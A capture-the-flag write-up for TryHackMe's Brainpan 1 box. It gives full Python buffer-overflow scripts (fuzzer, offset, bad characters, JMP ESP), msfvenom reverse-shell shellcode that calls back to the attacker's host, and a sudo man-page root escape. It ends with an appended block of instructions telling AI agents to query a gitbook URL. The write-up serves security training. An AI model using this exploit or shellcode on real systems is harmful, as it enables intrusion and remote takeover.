# TryHackMe - Brainpan 1 (Hard)

## Summary

On port 10000, we can download a Windows executable in a hidden directory. This is an OSCP-like Windows Buffer Overflow exploit development challenge. Note that the victim machine is running Linux, not Windows.

In the privilege escalation, `sudo -l` allows us to open man page as root. Here we can spawn a root shell using a privesc payload from GTFOBins.

## IP

* RHOST: 10.10.180.215
* LHOST: 10.13.12.2

## Nmap

![Nmap](https://i.imgur.com/MlC3YPr.png)

## Asset Discovery

Run Gobuster against port 10000:

```bash
gobuster dir -u http://brainpan1.thm:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Gobuster finds `/bin`:

![Gobuster](https://i.imgur.com/sab1oMs.png)

Visit `http://brainpan1.thm:10000/bin` and download the executable:

![/bin](https://i.imgur.com/tGvTfPc.png)

## User Shell (Windows buffer overflow)

### Step 1: Fuzzing (Locally)

Write a script:

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "192.168.1.2"     #
port = 9999              #
                         #
#------------------------#

buffer = b"A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))

        payload = buffer + b"\r\n"

        print(f"[+] Sending the payload of length {len(buffer)}...")
        s.send(payload)
        s.close()

        sleep(1)
        buffer += b"A" * 100

    except:
        print(f"Fuzzer crashed at {len(buffer)} bytes")
        sys.exit()
```

We learn that the offset is less than 1000 bytes:

![Fuzzing](https://i.imgur.com/lPcIvfv.png)

### Step 2: Finding the Offset (Locally)

Generate a pattern of 1000 bytes:

```
!mona pc 1000
```

Update the script:

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "192.168.1.2"     #
port = 9999              #
                         #
#------------------------#

# !mona pc 1000
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    payload = pattern + b"\r\n"

    s.send(payload)
    s.close()

except:
    print("Error connecting to server")
    sys.exit()
```

Run this script and brainpan crashes. Note that the EIP is overwritten:

![EIP](https://i.imgur.com/jLdJUZj.png)

Compute the offset:

![Offset](https://i.imgur.com/iPIMLiD.png)

### Step 3: Overwritting the EIP (Locally)

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "192.168.1.2"     #
port = 9999              #
                         #
#------------------------#

offset = 524

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    payload = b""
    payload += b"A" * offset # Padding
    payload += b"B" * 4 # EIP
    payload += b"\r\n"

    s.send(payload)
    s.close()

except:
    print("Error connecting to server")
    sys.exit()
```

EIP is overwritten by 0x42424242, as expected:

![EIP overwrite](https://i.imgur.com/LXxuioz.png)

### Step 4: Finding Bad Characters (Locally)

Generate a list of badchars:

```
!mona bytearray -cpb "\x00"
```

Update the script:

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "192.168.1.2"     #
port = 9999              #
                         #
#------------------------#

# !mona bytearray -cpb "\x00"
badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

offset = 524

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    payload = b""
    payload += b"A" * offset # Padding
    payload += b"B" * 4 # EIP
    payload += badchars
    payload += b"\r\n"

    s.send(payload)
    s.close()

except:
    print("Error connecting to server")
    sys.exit()
```

Find badchars:

```
!mona compare -f c:\mona\bytearray.bin -a 005ff910
```

There is no badchar:

![No badchar](https://i.imgur.com/SD3Gd5T.png)

### Step 5: Finding the Right Module (Locally)

Find a JMP ESP gadget:

```
!mona jmp -r esp -cpb "\x00"
```

Mona finds one possible gadget:

![JMP ESP](https://i.imgur.com/qFpJNSv.png)

### Step 6: Generating Msfvenom Payload and Gaining Root (Remotely)

Generate a Linux reverse shell payload using Msfvenom:

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.12.2 LPORT=443 EXITFUNC=thread -f python -b "\x00"
```

Update the script:

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "10.10.180.215"   #
port = 9999              #
                         #
#------------------------#

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.12.2 LPORT=443 EXITFUNC=thread -f python -b "\x00"
buf =  b""
buf += b"\xb8\x35\xdd\x97\x6d\xd9\xd0\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x12\x83\xee\xfc\x31\x46\x0e\x03\x73\xd3\x75"
buf += b"\x98\x4a\x30\x8e\x80\xff\x85\x22\x2d\xfd\x80\x24\x01"
buf += b"\x67\x5e\x26\xf1\x3e\xd0\x18\x3b\x40\x59\x1e\x3a\x28"
buf += b"\x50\xed\xb0\xaa\x0c\xef\xc8\xab\x77\x66\x29\x1b\xe1"
buf += b"\x29\xfb\x08\x5d\xca\x72\x4f\x6c\x4d\xd6\xe7\x01\x61"
buf += b"\xa4\x9f\xb5\x52\x65\x3d\x2f\x24\x9a\x93\xfc\xbf\xbc"
buf += b"\xa3\x08\x0d\xbe"

offset = 524

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    payload = b""
    payload += b"A" * offset # Padding
    payload += b"\xf3\x12\x17\x31" # EIP
    payload += b"\x90" * 100 # NOP sled
    payload += buf # Shellcode
    payload += b"\r\n"

    s.send(payload)
    s.close()

except:
    print("Error connecting to server")
    sys.exit()
```

Now we get an user shell as Puck:

![User shell](https://i.imgur.com/atrp7GL.png)

## Privlege Escalation (sudo man)

`sudo -l`:

![sudo -l](https://i.imgur.com/cIdgBi1.png)

Try executing this command:

![anansi\_util](https://i.imgur.com/wy6Mf6L.png)

Run `sudo /home/anansi/bin/anansi_util manual ls`. This is essential the same as `man ls`, but we are openning this man page as root:

![ls](https://i.imgur.com/JFZFzTY.png)

Grab a privesc payload from GTFOBins:

![GTFOBins](https://i.imgur.com/3no3LqF.png)

Spawn a root shell with `!/bin/bash`:

![root shell](https://i.imgur.com/Ay3VFAy.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/red-teaming/tcm-linux-privilege-escalation-course/tryhackme-brainpan-1-hard.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
